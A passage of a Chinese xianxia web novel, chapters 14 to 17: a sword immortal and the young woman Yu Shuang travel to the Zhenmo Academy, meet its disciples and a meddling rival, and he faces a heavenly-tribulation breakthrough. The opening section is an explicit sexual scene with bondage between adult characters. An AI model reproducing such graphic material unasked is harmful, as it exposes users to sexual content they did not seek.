她擦擦鼻子,不懂为什么会突然流鼻血。反正会好,她就没管,而另一个会在乎在意的人,眼下又没空注意。
剑尊被吊在空中,手腕交叠,被一束金线牢牢捆住,另外一束层层绕上左脚,顺着小腿一直缠上大腿,横着拉开。
紫玉镯一上一下,浮在半空,金线绷直,剑尊便无所凭依,只剩一点足尖虚虚点地。
一袭半湿黑袍掩着素白腰身,唯有菟丝子般纠纠缠缠的金丝绕在身周,像一群吐着信子的蛇,将色如霜雪的仙尊整个儿罩在金碧之气中。
他被吊起的高度刚好贴合姑娘的腰,灵力也正好能够进。俞霜靠过去,色泽浅淡的眼睛焕发出一种讶异的光芒,仿佛是第一次看见面前之人似的,这里摸摸、那儿碰碰。
触及的皮肤火烫柔软,商卿夜浑身热得发麻,被浅浅碰了几下,俞霜便看到一线蜿蜒而下的水渍。
金丝不知是自动行进、还是受主人驱使,一点一点缠进他的手腕脚腕。柔韧的丝线在某一刻忽然变得坚似荆棘,攫住凸粉,紧紧勒进皮肉。
商卿夜闷哼一声,锁骨下方传来淌出血般的痛楚,却又含着种让人弃罢不能的痛快。
姑娘把脸贴过来,像是被茱萸引起了兴趣,伸出指甲,电流窜过,他不由惊叹一声。
一双染水黑眸无措地看向她,更多晶莹的水渍流下,简直像喝饱水再漏水的孩童。
她的指肚贴着腰线下滑,那条线摸起来滑溜溜的,手指触碰时裹着细微的水声,水缠绵地挽留着。她的鼻尖挨向他的腹肌,嗅了嗅,闻到一股花瓣被揉烂了似的腥甜。
剑尊眼睫一颤,又是这种可怖的异物感……
但不管他转过多少念头,她只是捂着又开始滴血的鼻子一点点摁过,忽然一重,激得他足尖一软,身体向下一坠,看起来竟是迫不及待的贪吃鬼。
她有点小惊讶地“嗯?”了一声,臊得他浑身都开始抖,偏偏控制不住,不顾金丝把手腕扯得生疼,也要把脸往她指上蹭,嘴里低低唤着:“又又,好又又……”
她从善如流。
剑尊一阵失神,微微张开嘴,露出一点殷红舌尖,被姑娘窥到了,踮起脚亲上去。舌轻易分开唇齿,绕着他的舌不停缠吻。
现在她已经很会亲吻,也学会了怎么用鼻子呼吸。
每学会一个新技巧,她都和吃了一个没吃过但很好吃的甜食一样惊喜,一个劲猛吃,一个劲猛练,弄得剑尊一时间不知该专心应付她湿漉漉分外热情的吻,还是哀求她满足让他身心作痛的空虚。
“剑尊好甜……”
深吻方毕,她就迫不及待地咬他的脖颈和锁骨,也不知是真有甜味、还是姑娘自己心生幻想,对待剑尊总像对待一块特别喜欢的奶糕,总要上嘴咬个遍。
“又又……”商卿夜实在忍不住了,心火烧身不再是形容词而是确切发生的事,逼得他维持着一种危险而诡异的平衡,晃晃悠悠抬起另一条腿,把她圈向自己。
俞霜微微撅起嘴,不太情愿地开始干活。
“虽然很舒服,但是一会就很累的呀,我觉得自己要变成一个机器人啦。”
她嘟嘟囔囔、碎碎抱怨,偷偷掐一把他的腰,听断续的嗯嗯呜呜间夹杂的不甚分明的泣声。
怎么会这么好听呢?俞霜分神乱想。虽然她平常嫌弃剑尊说话唠叨,但声音是爱听的。
换到这个时候,好听的嗓子总是沙沙哑哑,说的话也语无伦次,本该不好听的,她偏偏也觉得喜欢,想多听一听、多听到点别的花样。
“剑尊的肚子又这样了。”姑娘有些稀奇地瞧着,换来飞着胭红的眼睛的狠狠一瞪,便知道自己又说错话了。
可剑尊又能怎么样呢?不喜欢她说,她偏要说。
“是不是要怀宝宝了呀。”
“胡说!都是、都是你……混账!”
他难受地蹙起眉,不知该说快活还是闷郁。
灵气化液,接着是灌注,她全都学会了,还学得格外快、格外好。
“剑尊骂我……”俞霜鼻子一津,灵力也因为主人的心情而起伏波动。
驱使天阶法宝所耗不少,一波动,就维持不住,金线松垮,商卿夜反应不及无处着力,“哗啦”一声摔进烟月泉。
他狠狠抽了一口气,这一摔带来的疼痛微不足道,却他磨了个好歹,浪潮泛滥但后继无力,让人实在不痛不快。
俞霜伏下身,很熟练地换了个姿势。剑尊还在余韵中
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颤抖,像融化了一样无力阻拦。
金丝又捆紧了,从手腕到手臂,勒出累叠的印子,缠在脚上的也不甘罢休,像捕兽锁链,方便猎手剖开引颈就戮的丰美猎物。
俞霜是不懂太多的,从实践中学习的本事也不强,不明白剑尊摔入泉水后好歹要留出些喘气余地,一味按照最早的指示反复干活。
哀恳词不成句,他连求饶叫停都做不到。
他今晚怕是练不了剑了。
商卿夜大脑混混沌沌,只觉得下一秒都能因窒息而昏迷过去。
俞霜没料到阻碍剑尊练剑的不是别人正是自己,一分一秒过去,很快被水里盈盈一片金光晃花了眼。
剑尊的手腕粗细均匀,白皙的肤肉下生长着微凸的青筋,此刻修长的手指和坚实的腕被金丝捆起,时而握拳、时而无力松散。
他已快把自己双唇咬烂,彻底失了力气,舌尖顶着唇瓣,满面晕红,涣散的眼里潋滟着春日流光溢彩的清艳。
姑娘想起来,昨夜——就在昨夜,这双手还持着剑,一刻不歇地习练着,坚执着剑道,坚执得近乎荒诞,爆发出蓬勃峥嵘的悍厉。
而现在,他在她怀里,这样一个人,居然……任她宰割。
有那么一瞬间,俞霜突然了悟“原著”存在的意义,一个荒谬却确实诱人发狂的秘密,以及这个秘密的……魅力。
下一刻,商卿夜对上俞霜的双眼。他立刻知道她明白领悟了,而她也神光一闪地知晓了他的知晓。
俞霜像是被兜头泼了一盆冰水,顿时陷入莫大的惊慌失措与彻头彻尾的恐怖。
她正在用与那些攻略者一样的目光看着剑尊。
而那些攻略者的下场……
她并不怕他一剑砍过来的,她怕……她瞧过他眼里的鄙夷与厌恶。她……怕极了。
她被一种从未经历过的仓皇定在原地,呆呆傻傻地看着他。
商卿夜的反应却和俞霜猜得完全不一样。
剑尊的脸先是青白相混,接着涨红,那种烈火一般的红烧着了他的脸颊耳朵还有脖子,快要烧到胸膛。
他身子轻轻战栗着,眼角通红,难堪地别过脸,一线泪痕落进水里:“你……你居然敢这么看我……你……混账!真是混……混球一样的小猪……”
眼泪啪嗒啪嗒砸下来。
“对不起……呜——对不起!”
俞霜嚎啕大哭,哭得眼泪一把鼻涕一把,骇得商卿夜挣开金丝,直起身抱住她。
怎么就哭了呢?他也没说什么呀。剑尊试图给她擦泪,可豆大的泪珠落个不停,简直是泪海翻涌,滚滚而下。
姑娘边哭边揉眼睛,眼睛很快红通通肿得和兔子一样。
她哭成这样,他心里也跟着翻腾着煎熬:“你……你哭什么?我不过说了你一句,又没恼你,没打你,嗯?连说一句都说不得了?再也不叫你小猪好不好?也不在心里叫了行不行?”
“什么小猪……呜呜,不要不怪我,我做错事……对不起对不起……”
商卿夜尝试理解她为什么哭得悲从中来,理解不能,只得翻来覆去地哄:“好好好,我怪你,你道歉了,然后原谅你,不哭了,不哭了好不好?”
她靠在他肩头,哭得更大声了:“呜呜……我不该那么看你……我不是那些攻略者……如果剑尊不喜欢我就不做的,绝对不会做呜呜呜!”
商卿夜恍然,心头一阵酸软,把她抱得紧紧的。
一个吻叠一个吻落在她眼睛下面:“我相信又又,再说——我若不愿,谁能强迫了我?我甘愿的。我……甘愿的。”
15. 第十五章
镇魔书院位于勾吾洲,是少有的没有倾向一心剿魔的正道大派。书院凭蕴阳湖而建,依山傍水,风格兼具水乡精巧与正道开阔之气。
书院有外院、内院之别。外院多外门弟子,是练剑、论道与接待远客之处;内院分神道、镇魔、御书三天阁,凌水而起,浮空一丈;太行、少阳,固拙三地阁,与后山依傍。
建于中央的镇魔天阁为掌门青竹道尊与亲传弟子的居所,也是内门长□□商大事之地。
从妖界到勾吾洲,飞舟又行半月有余,进了镇魔书院势力管辖所在。
这日天朗气清,景色灵秀风雅,灵力充裕,一见就是祥和清正之地。
行路途中,商卿夜也给一无所知的俞霜补了补镇魔书院与其它正道名门的背景知识。
镇魔书院地处连接三块仙洲的中心,东近弈星宗,西连玄微宗,北瞻妖界,南抗魔域戮仙岛,乃正道“腰眼”。
书院原与妖族交好,妖族亲近正道已有五百年,书院掌门青竹道尊便为一千年大妖,灵识由仙家道长点化,自小修道家清正心法,通身凛然正气比寻常正派有过之而无不及。
谁知百年前姬照霄率妖族反水,正道与妖族反目成仇,原先在正道大派历练修行的妖族大多被逐,或夹在中间无法两全。
那时,青竹道尊第一个站出来与妖族本家割袍断义,率镇魔书院半数妖族彻底投了正道,又冲在混战第一线,才将将维护住自身与书院的大义气概。
即使如此也免不了闲言碎语,好歹站稳脚跟后,青竹道尊便越发持坚自身,与各派修好却绝不谄媚,无论偏向如何,只自己保持绝对的中立,百年无有动摇。
镇魔书院不仅是原著中的安稳修炼地,更难得的是,上到青竹道尊,下至长老及各亲传弟子,都极少有被攻略者身穿魂穿,执意给商卿夜添麻烦的。
飞舟刚进入镇魔书院地界,于镇魔天阁讲道的青竹道尊心神一动,发现了对方的气息,当下缩地成寸,在外院弟子警告前就现身人前,接待了风尘仆仆的好友。
外院守门弟子对掌门真人毕恭毕敬行了一礼,接着好奇的目光便移向步出飞舟的两人:打头的男修一身玄黑交领道袍,长身玉立,风姿仙彻,气质如青崖覆雪,分外高寒,令人不敢直视其面庞,只堪堪扫过一双宁静通达的眼眸,端得是风流万千。
他身后跟着一个矮上许多的年轻女修,面如满月,气纯神清,单论长相,绝不丑。
可不知怎么回事,素净也好华丽也好,若装扮得合适,倒也能平添三分风姿;偏偏她穿得是寻常芙蓉飞仙裙,身上玉件金饰却不在少数,显得头重脚轻,旁边又是丰标不凡的寂雪仙尊,这么一比,倒衬得她灰头土脸、稀松平庸了。
守门弟子便瞥见她们多才多艺琴棋书画诗酒茶无一不通的掌门真人眉头狠狠跳了跳,全都讷讷低头,心里叹惋——
好好一杏花丰润的可爱女郎,谁来打扮不好,偏偏是脾气臭骨头硬的剑修,那审美……孩子真真是可怜见的。
“寂雪仙尊,三十载未见,别来无恙啊。”
青竹道尊冯虚御风,人未至,清润话音已如潺潺流水而来。
待她施施落地,商卿夜上前一步,指掐子午诀,互行一礼:“青竹道尊。”
“莫要客气。”青竹道尊眉眼弯弯,一挥袍袖,“我一接到你的飞信,便派人将后山静持塔收拾一番,给你空出来了。”
青竹道尊生得秋水为姿柳为态,眉如远山青黛,眼中神光暗蕴,却是个不拘小节的性子。一袭青袍,一方佩剑,身无环饰,却不减久居高位、玉堂金马的超然之气。
多年未见,友人未曾改变,商卿夜顿时松了一口气。
这功夫,青竹道尊也在观察他:前些日子寂雪仙尊堕魔的流言在仙域传得沸沸扬扬,然而先是魔道三尸教被整个抹杀,接着魔尊令狐翊与妖尊姬照霄纷纷身死,流言便不攻自破,成了个彻头彻尾的笑话。
但青竹仙尊对好友性子颇知一二,自然从不管传言如何,最让她意外的是,寂雪仙尊从前那股想掩也掩饰不掉金锐剑气从面上一点也看不到了,若非腰间佩剑,她几乎要怀疑眼前之人还是不是剑不离手的狂痴。
她一眼就看出商卿夜媚骨已破,剑意灵修却返璞归真,也不知寂雪仙尊究竟有一番怎样的际遇?
青竹道尊眼中流光一闪,与剑修对上,若有所思。
商卿夜不在乎对方想什么,端得是那类不出格的猜测。
有时他也会很恶趣味地想,旁的门派多偏爱男修,嫌女修爱美聒噪不肯吃苦,剑修大户弈星宗尤甚,可这么个名门大派,从上到下,几乎被外人穿成筛子。
而青竹道尊平日多以女体现于人前,门内多收女修,门内众弟子团结亲和互相友爱,但凡有谁行事失了惯日章法,很难不被同窗长辈察觉出来,反倒无一人出事,衬得那些瞧不起女修的古板想法可笑至极。
谁又能料到,轮回四十九世久攻不下的媚骨炉鼎,最后便宜的竟是一个不过丹照修为的外世女子?
与商卿夜结识百余年,互为至交好友的青竹道尊自然也料不到,她把目光移向俞霜,神情多了一丝耐人寻味:“不知这位小友是?”
“她是俞霜。”商卿夜推了一把姑娘的背,语气亲昵,“又又,还不来见过青竹道尊。”
俞霜被拨得一脸懵懂,也不知道怎么行礼,只好抬手打了个招呼。
对面容貌姝丽的道尊微微一笑,毫不在意:“叫道尊未免太过生疏。妖族天为父地为母,本无名无姓,但恩师姓凃,我便随师姓,得赐一个玥字,叫我凃玥道尊即可。”
“俞霜救了我一命,又助我多次。”商卿夜一叹。“此次前来拜访,一是为借宝地突破,再来就是求你这位丹道圣手瞧一瞧这孩子。”
凃玥神情一凝:“可有什么不对?”
说罢,她也不讲究两人还在外院门口,纤指搭上俞霜手腕,眼底微讶,“这……骨龄二十,居然已是明婴期?”
她不可思议地看向商卿夜:“便是剑尊幼时,也无这般恐怖进益吧?”
剑修眉头皱得更深:“她虽结元婴,然骨弱力荏,气血逆乱失调,空有修为,经脉却无力容纳驱使如此庞大的灵气。”
青竹道尊略一沉吟:“也罢,此事还需细议,两位先随我去镇魔天阁稍作休息。”
镇魔书院占地甚大,一路需御剑飞行,见到俞霜连筑基修为即可领悟的御剑飞行都不会、还需与剑修同行,青竹道尊眉毛乱跳,瞥了一眼又一眼,忍不住传音入密:
——“我怎不知寂雪仙尊原来是禽兽一个?她骨龄不过二十,便是炉鼎无害,硬堆修为也对
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未来无益!”
商卿夜一时噎气,居然百口莫辩。
——“初见时俞霜便是金丹修为,与我可无甚么关系,后面……也是逼不得已,只能施行下策。道尊若能将她体内经脉气血调和归从,商某欠道尊一个人情,道义之内,任凭驱使。”
——“我自然信你,可你也真对一个孩子下得去手,我记得仙尊今年可将将六百一十……”
“凃玥!”
商卿夜忍不住张口斥止,倒把什么也没听到的俞霜吓了一大跳,晃着脑袋看看剑修,再看看一脸无辜的青竹道尊,往剑修的大氅里缩了缩。
凃玥看她那近乎本能的动作,眉头扭得更像麻花,但到底在剑修骇人的逼视下闭了嘴巴。
可他的话语也不能不让青竹道尊重新审视起俞霜的身份。若只是救助之恩,凃玥看在两人昔日友谊且这姑娘情证罕见的条件下,未尝不会尽心尽力,但寂雪仙尊搬出“人情”二字,就是实实在在的、一个剑修能给出的最大诚意。
再说他似是对突破敛真胸有成竹,这份诚意便再重三分。
凃玥忍不住看了懵懂无知的姑娘一眼。
若是仙尊要结道侣,不说满正道倾慕寂雪的男男女女会作何感想,只她一个镇魔书院,怕也是有得闹了。
心里思绪纷乱,凃玥面上不动,领两人从浮空栈桥进入镇魔天阁。
天阁极大,素而雅致,入眼便是两扇厚重黑檀阁门,后面是待客理事的正堂,往后便是青竹道尊与其亲传弟子素日起居行卧、修行论道之处。
若是有精通阵法的修士入内细观,便会发现以正殿为中心,四方角阁为落点,沿路的亭台楼阁、假山花木,一起不着痕迹地构成一个严密危险程度不下于护派大阵的五行阵法。
身处险要之地,镇魔书院向来外松内紧,近来连弟子都收得少了,时时审查,就怕出了内鬼而不自知,戕害同门。
一路下来,俞霜简直觉得眼睛都看不过来了,一直走到一处花木掩映的清雅小院,才明白这么大一个一正二侧两耳房的院子都是给她和剑尊住的。
“不知俞姑娘可还喜欢这里?”凃玥笑眯眯地看着她,明明脸十分年轻,语气却像一个慈祥的老奶奶。
俞霜瞧着爬了满架的银丝粉蔷薇,风送花香,袭人扑鼻,面上立刻露出几分惊喜:“喜欢……那个花真的好漂亮。”
“她跟我住正房。”不等凃玥继续问,商卿夜先开口截了她的话。
“若要诊治,就用东厢。我不同你客气:俞霜还未辟谷,平日好一口美馔甜食,我闭关突破少不了三月半载,若吃得不好,睡得不香,我惦记着,恐与进阶无益。”
凃玥:……
“你……”青竹道尊嘴巴张了又合,“还真是一点没变。”
啰啰嗦嗦,唠唠叨叨,活似个忧心儿女吃不饱穿不暖的老妈妈。
又是人情又是嘱托,他统统摊开讲,就差直白把剑抽出来逼她下军令状照顾好姑娘,凃玥只好硬着头皮,难得吞吐:“这都是小事,我那亲传大弟子是明婴圆满,最会照顾师妹师弟。只是……只是这镇魔书院,不止你一人来自弈星宗。”
她话中有话,还不似好话,商卿夜皱起眉:“还有谁在?”
“正是你那……你那不知第几次‘离家出走’的‘师娘’!”
16. 第十六章
“乐濯师弟,你那‘蜂蜜小面包’可烧得了么?”
易入诚本来在撅着屁股操控灵火烘烤窑炉,闻言一跃而起,转身拱手一揖:“见过大师姐。”
“和我客气什么。”青竹仙尊大弟子、不日就要突破元婴的兰杜薇扶了他一把。
“今日是寂雪仙尊闭关第五天,我早得了师尊嘱托,要经常看望俞姑娘,倒累得你次次做庖厨……”
“师姐说得什么话,能帮上师姐,乐濯高兴得很。”
易入诚转头瞧了眼火候,估摸着道:“再刷一次蜂蜜,等一盏茶的时间也就好了,待会我同师姐一起过去吧。”
“也好,我看俞姑娘不是个话多的,你去也多一分热闹。”
说罢,兰杜薇就站在一旁,不再打搅师弟做活。
易入诚一边刷蜂蜜,一边偷偷瞥兰杜薇的脸色。只瞧他向来稳重恬淡,碧波芙蕖、华茂春松一样的乐惟师姐神情微郁颇有心事,不由在心底叹了口气。
据说寂雪仙尊此次拜访镇魔书院,一是为了进阶突破,再来就是为那女修寻医访药。如今每隔一旬,青竹道尊就要去一趟小院诊看,间有两名丹修同门研诊,更不要提流水的天材地宝,吃撑人的极品丹药。
易入诚知道兰杜薇心慕寂雪仙尊已久,在众多法修丹修中执意剑道,偏偏掌门道尊又是个不拘小节大大咧咧的性子,好巧不巧,派了兰杜薇去照顾和寂雪仙尊一并来的年轻女修。
那怎么看都是仙尊放在心上的意中人。让师姐照顾仙尊的意中人,可不活似一种酷刑折磨?
易入诚端了一盘甜香扑鼻的蜂蜜小面包放入食盒,又唾自己一口:师姐心慕寂雪多久,他也就喜欢师姐多久,五十步笑百步,简直没眼看。
“师姐。”易入诚沉不住气,到底开口,“你若……你若有事,俞姑娘那边,师弟愿意代劳,我拉着小师妹去。反正最近乐游刚突破金丹中期,整天没个正形。”
兰杜薇一笑,瞧着脸上黑一块、白一块的师弟,心中熨帖,拿起帕子给他擦擦脸:“这是师尊嘱托我的事,怎好找人代劳?再说俞姑娘性子安静好相处,我也乐意多照顾她,也是为了……”
她情不自禁扭头看向静持塔的方向。
无论劝自己多少次,嫉妒都是最难压下来的感情,易入诚暗自运气:“师姐,没人值得你那么用心。”
兰杜薇摇摇头:“我早就看开了,如今只是欣喜仙尊能寻到心上人,再说你也不是不知道,渌水真人已经知晓仙尊在此突破。静持塔他进不去,我怕俞姑娘那边出什么事。”
“舒清雪也配师姐称一声‘真人’?”易入诚嘟囔。
“乐濯!你都快要明婴后期了,怎么说话总是口无遮拦?”兰杜薇恨铁不成钢,“师尊宽仁,早已将‘乐’字辈弟子视作书院中流砥柱,我们绝不能辜负掌门的希望,平日要撑得起场面。尤其是照应俞姑娘一事,她全权交给我,就是想见我如何与渌水真人周旋,你是师兄,这门派与门派间相处的门道,也要早日学了去。”
易入诚被大师姐一番话砸得头晕脑胀:“好了好了,师弟知错,师弟知错,我们还是赶紧去俞姑娘那边吧。”
师姐是实诚人,易入诚却觉得,青竹道尊把舒清雪这么个烫手山芋抛过来,说不定是自己也觉得麻烦……以及正好有理由躲着大师姐,省得天天被念叨得一个头两个大。
师尊逃了,他可不逃,他就喜欢被师姐天天念叨。易入诚提着食盒,美滋滋地跟在兰杜薇身后,往俞霜的院子走。
说曹操曹操到,两人从镇魔天阁西边走到东边,迎面刚好碰上独自过来舒清雪。好巧不巧,俞霜正坐在院子里,听见易入诚的招呼声,推开了院门。
三波人四双眼睛,大眼瞪小眼。
俞霜看看左边,又看看右边,一下子社恐大爆发,“啪”的一声甩上院门。
兰杜薇眼角抽了抽,易入诚扶额,冲着院门举起食盒:“俞姑娘别走啊,这里有刚烤好的蜂蜜小面包,加足了玫瑰糖,面包底还脆脆的沾满芝麻,真的不吃一口?”
蜂蜜……蜂蜜小面包!
俞霜又“啪”的一声推开门,眼睛跟着食盒动:“好香啊!”
“是啊俞姑娘,我还带了玫瑰露并另两样酥皮点心,你让我和师姐进去,就在这院子里吃,怎么样?”
犹豫半刻,姑娘侧身点点头:“那你们进来……”
“你不能与寂雪仙尊结为道侣。”
舒清雪突然开口。
易入诚倒吸一口气,如果眼风能够化刀,非要捅这人几十下不可。
兰杜薇不动声色挡在俞霜身前,神情肃然:“渌水真人此话何意?”
隔着半个身形,俞霜看了一眼被称作渌水真人的男修。曦曦日光照得他眉目清凌,面容素白清寒,配着一袭白衣、腰间佩剑,竟与商卿夜有三分相像。
“道侣是什么?”她问。
“寂雪仙尊总归要和白旆道尊结道侣的。”舒清雪像是没听到一样自顾自苦笑,“我不过……我不过是玩物罢了,寂雪仙尊若是有气,尽可往我身上出,何必带一个女修回来,让两人芥蒂更深呢?”
未等旁人有什么反应,兰杜薇肃声断喝:“荒唐!此乃欺师灭祖悖逆人伦大不敬之论,师长怎可同徒弟结为道侣?况且白旆道尊早已与渌水真人你定下婚约,未婚夫夫之间闹脾气不是大事,拖旁人下水,便是真人你魔怔了!”
恐渌水真人的话传出去败坏名声,兰杜薇先是给对方扣了个“魔怔”的大帽子,又眼神示意自家师弟,易入诚心领神会,一个禁言决加束决过去,就要擒住明婴初期的舒清雪。
谁料总是一副手无缚鸡之力柔弱无助的舒清雪躲开了。
躲……开……了……
易入诚简直傻眼,被兰杜薇瞪了一眼,最后还是镇魔书院大师姐定住人交给师弟,转过头去想要温言安慰姑娘一番,却看她指着食盒,慢慢吞吞地问:“我什么时候可以吃?”
师姐弟都愣了一下,兰杜薇将姑娘领进去,转头冲易入诚道:“给我看住人。”
易入诚点头腹诽:好好一个镇魔书院,真是变得一团乱麻,都怪那个万恶之源寂雪仙尊!
其实从严格意义上说,镇魔书院也不是一个人都没被攻略者穿越过,易入诚就是受害人之一。
三十年前一道异世之魂并什么“系统”强占了他的身体,把他的神识挤到一个小小角落,无法控制自己,只能听看。那“系统”派任务给异世之魂,去“攻略”寂雪仙尊。
知道“攻略”就是俗世追求之意后,易入诚简直头皮发麻整个人都不好了。他?追求寂雪仙尊?
恰好那时兰杜薇突破元婴后期,剑意大成,想趁机对寂雪仙尊表明心意,异世之魂居然视兰杜薇为不自量力的情敌,妄想害她出丑踩人上位。
千钧一发之际,易入诚怒火攻心,竟生生从被控制的状态下挣脱,宁可跳下后山断魂涧也不肯稍作屈从,好歹将他们逼出体外,捡回一条命。
那可真是捡回一条命。兰杜薇被他吓得灵魂出窍,也顾不上自己心意、急匆匆跑来救人,最后废了青竹道尊不少修为灵宝,才让他免于道基破碎。
他也因此留下异世之魂里关于异世,关于寂雪仙尊的部分知识记忆。
眼前这个舒清雪,是白旆道尊的未婚夫——也是寂雪仙尊的“准师娘”(他也不知道为什么话本里都叫他师娘而不是师夫)。
想当年,白旆道尊司徒洛以天地人三才仙剑闻名天下,商卿夜一心剑道自然拜入仙剑门下,师徒相得百余年。<
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p>可是待商卿夜步入明婴观虚,获得“寂雪仙尊”的名号后,司徒洛对徒弟的感情渐渐变了质。
师徒相恋,有悖天道人伦,而且商卿夜也完全无意。司徒洛憋了太久,居然找了个跟弟子有三分相像的替身,闹出许多荒唐事,逼得商卿夜不得不离宗剿魔,常年在外游历。
这个替身就是舒清雪。
眼下这个舒清雪又来找寂雪仙尊的心上人,看那苦情兮兮的架势是想撮合这对师徒,易入诚是真不明白这些人脑子里在想什么。
他们执意演得这场大戏,最该看一看的观众都不在哇!
看着舒清雪执拗顽固的眼神,易入诚就知道这是个完全不听人话的,当下连胃都搅起来了,满嘴苦意。
他这边不好受,照看俞霜的兰杜薇也不怎么轻松。
眼前的姑娘很不会照顾自己,散着一头乌发,香香地吃起还脆烫的蜂蜜小面包,眼角眉梢不见丝毫锋锐。
兰杜薇是经历过百年前三界大战的,不过相处几日,就觉得寂雪仙尊带回来的这孩子……有哪里不怎么对劲。
她的眼睛,初看一片通达宁静,刚刚舒清雪的突兀言语似是对她全无影响,但兰杜薇瞧着,莫名想起三界大战时的殓尸人。
妖族,魔族,正道,凡人,那么多尸体啊,落在这勾吾洲,浮在缥缈海上,各派不得不分出些殓尸人,将混在一起的尸身分离。
兰杜薇没话找话:“原来俞姑娘不知道侣是什么?寂雪仙尊未和你说?”
俞霜喝了一口清香微酸极配甜食的玫瑰露,肯定地摇摇头。
“不应该啊。”兰杜薇喃喃。
“突破敛真,是件很重要的事情,对不对?”
女修回神:“自然重要。莲华域正道已有百余年未有突破敛真之人了。如今的敛真修士都是各派太上长老,大多闭了死关,师尊……青竹道尊是少有的敛真掌门。”
“那样他是不是谁都不怕,可以横着走了呀。”
兰杜薇噗嗤一笑:“这话可不能在我师尊面前说。不过……仙尊是剑修,剑修本就擅于越阶斗法,突破敛真,当真是正道大幸。”
想着她是不是等得心中焦急,女修安抚道:“你放心,少则三月,多则半年,寂雪仙尊定能进阶的。”
姑娘瞧着兰杜薇的眼睛,忽然塞给她一个小面包:“你也吃。”
像是又想起来,她倒了一杯玫瑰饮,推到女修面前。
兰杜薇眼中笑意更深,也不讲究什么修真之人不食五谷杂粮。师弟使灵谷灵麦辛苦做得“小面包”,她这师姐怎好不给面子?
只是她现在又有些看不清寂雪仙尊的心意了。若是担忧自己无法突破,比如什么“不至敛真何谈以后”,倒也罢了,可是怎么连道侣何意都不告诉人家呀?看俞姑娘这样子,似乎对什么都懵懵懂懂……
兰杜薇吃了面包喝完果子露,净手后绕到姑娘身后,给她挽了个发髻。
商卿夜留的首饰多是极品法宝,其中封有剑意,不能不戴,就要配更华丽的衣裙。送到这里的衣物都是兰杜薇亲自选的,继承师尊审美的她自然配得恰当,如此一穿一搭,整个人精气神都不一样了。
俞霜也觉得新奇,被怎么摆弄也都乖乖听话,倒让兰杜薇恍惚觉得回到未入书院时照顾妹妹的时候。
只是她们这年龄差……自己都够当俞姑娘祖宗了。
“俞姑娘今日觉得怎么样?经脉有没有舒服一些?”
兰杜薇和声和气道。
“身体很舒服。”俞霜吃完也绊绊磕磕用了个净身决。
再和兰杜薇对视时,她的神色郑重而认真:“我也想学一些修仙的东西。像你,像剑尊一样,虽然应该没办法和你们一样厉害,但至少可以活下去,可以自己照顾自己。”
17. 第十七章
所谓命理轮回,七七四十九次,并非每次轮回从牙牙学语拜入师门开始。那样即使心志再坚强,商卿夜恐怕也很难不发狂。
轮回的契机恐怕就是谢衡的偷袭之举,毕竟那话本名叫《仙尊堕魔后》,重点自然要放在堕魔后的种种剧变,想来仙尊之前的数百载人生当是无足轻重无关紧要的。
且不论商卿夜发现自己其实是话本中的“主角受”后有多震骇,应对蚂蟥一般以折磨侮辱仙尊为乐的各路“主角攻”、无法脱离只能不断重复几个“大剧情点”,这种随便换个人来体验都得疯癫发狂的日子还不是最荒诞的。
他修为日渐增长,早已进阶敛真,却迟迟无法突破。
轮回四十九次,他终于从谢衡口中确认原因。
因为天道不允!
商卿夜正坐在静持塔里。
宝塔中心毫无矫饰,一片素净之色,只有中央一蒲团。他端坐蒲团,度厄剑放在膝头,神情肃穆,无悲无喜。浮空之处,飘着姬照霄的龙丹龙角龙筋。
无需谢衡告知,他也隐隐有感此次轮回恐怕是最后一次,自然早就根据以往经验布了一个细密大网似的计划,除了俞霜这一意料之外的变数,其它无不在他掌控之中。
姬照霄是百年来唯一进阶敛真的修士,这进阶也非水到渠成,而是承了压制仙尊的“天命”。商卿夜此前突破久久不成,数次死于进阶天雷,不过就是少了这一点“天命”罢了。
如今他杀死姬照霄,又取孽龙龙丹,施用秘术,打得就是暗度陈仓偷天换日、夺孽龙气运的念头。
不知过了多久,灵力早已充盈元婴,商卿夜捏碎龙丹龙角,魔气化液,纳入丹田。
只听一声细弱空灵的“噼啪”声,桎梏观虚使其无法突破的枷锁悄然碎裂。
天雷滚滚。
天上之云,原本白如飘絮,转瞬低湿下沉。雷忽然聚来,在静持塔顶隆隆响起,黑翳霹雳般落下,闪电仿佛被烧红的铁丝般游窜在阴云里。
商卿夜起身步出静持塔,披发跣足,一人一剑,对着头顶怒号的苍穹。
——惧否?
心魔问。
商卿夜注视着天边滚雷。记忆闪过太多次与天地对峙的场景。他快要打盹了。
——何惧之有?
——去杀吧。心魔狂笑。
商卿夜执剑,第一道铁蓝色燃烧着的天雷打下来时他左脚轻跺,剑尖迎雷而上,剑意平铺,枯荒荒地碎开一片死寂之气。
首招相碰,剑修就毫无留手之意,寂灭剑意顺着接踵而来的天雷向上攀升,居然直入青云,往上天缠去。
这凝练千年、旨在覆灭万物的苍寒剑意,天道对上,也要为之惊惶。
雷云震动,像是天道骤生怒气。它不能让剑修进阶,虽说天人相敌,远远看不出人有一丝一毫取胜的迹象,但它要让剑修输也不能输得光彩,要将剑骨碾入泥泞尘埃。
地魄竹心火开始在丹田中作乱。
这火本性阴毒,一丝儿就能撩得人心火顿起,此番也直直觅着媚骨而来,却不妨撞上持坚自重铁板一块的剑骨。
媚骨早已被商卿夜炼化,与剑骨合二为一,眼下终究是剑骨占了上风,这团听命天道时时作乱、将原著仙尊拖入无底淫狱的心火,终是失了用途。
剑尊腰背直挺,臂与剑斜成一线,剑尖劲气吞而不吐,内含于剑刃,仿佛伺机而动的猛兽。他朝着后山断魂涧,一步一步走,脚却并未踏实踩在地上,飘似的,像是要往天上走。
天黑透了,形状怪异的淡蓝鬼火在云层间游动,雷暴中有成片的闪电在颤动。
地平线忽明忽暗,后山向远方延伸的山脉一片荒黯的青黑,如同转到了另一个世界,在这个世界,流动在空气里的不是灵气,而是恐惧。
比恐惧更令人畏怖的,是杀气。
若天劫雷云像一片深蓝而贫瘠的沙漠,剑修则全身都化作了一片黑沉沉的暗影,这暗影不是人间的暗影,而似裹挟了在黑洞洞的岁月折磨自疑自抑中熬煎出来的矜傲。
电光星火间,度厄剑突地腾起,不顾周遭凛烈怒急的天雷,迎风破浪直向天幕深深扎去。
剑修身形嶙峋,飘摇直上,如游龙惊鸿,分明背影单薄瘦削,浮在空中,偏又给人一种渊渟岳峙的苍劲之态。
一身嫩皮软肉饱受觊觎,谁又知他在锻体一道下了多少铁杵磨针滴水穿石的苦功夫?
雷云越积越厚,突破的枷锁也越缠越紧。若是往时,商卿夜已心生焦躁烦闷难安。此刻,龙丹化的魔气方才用完,灵力流转,尚充裕得很。度厄剑刀身似有虹光,嵌着一条银紫螺钿,正是炼入剑中的孽龙龙筋。
